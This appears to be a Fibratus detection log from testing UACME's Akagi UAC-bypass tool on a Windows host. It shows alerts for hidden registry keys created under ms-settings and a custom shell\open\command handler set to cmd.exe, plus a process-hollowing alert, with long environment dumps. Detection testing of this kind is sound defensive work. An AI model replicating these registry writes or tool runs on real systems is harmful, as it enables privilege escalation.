PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:15:16+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\LZX32\SHELL\OPEN\COMMAND\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 6996728 + Pid: 6920 + Tid: 6540 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:15:15.2968834 +0100 CET + Params: data➜ C:\WINDOWS\system32\cmd.exe, key_handle➜ ffffd605fe93b260, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\LZX32\SHELL\OPEN\COMMAND\, status➜ Success, value_type➜ REG_SZ + Metadata: technique.name: Modify Registry, rule.name: Hidden registry key creation, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112 + + Pid: 6920 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:15:16+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\MS-SETTINGS\CURVER\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 6996748 + Pid: 6920 + Tid: 6540 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:15:15.2975437 +0100 CET + Params: key_handle➜ ffffd6060472cbc0, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\MS-SETTINGS\CURVER\, status➜ Success + Metadata: rule.name: Hidden registry key creation, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112 + + Pid: 6920 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:06+01:00 level=info msg=sending alert: [Potential Process Hollowing]. Text: Event(s): + Seq: 7161707 + Pid: 5276 + Tid: 12360 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:15:48.6730504 +0100 CET + Params: cmdline➜ "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71, directory_table_base➜ 47b742000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de7a2c080, name➜ Akagi64Con.exe, pid➜ 6812, ppid➜ 5276, real_ppid➜ 5276, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:15:48.6729625 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.id: TA0005, subtechnique.id: T1055.012, subtechnique.name: Process Hollowing, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Potential Process Hollowing, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 6601995826782797824, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/ + + Pid: 5276 + Ppid: 2304 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt 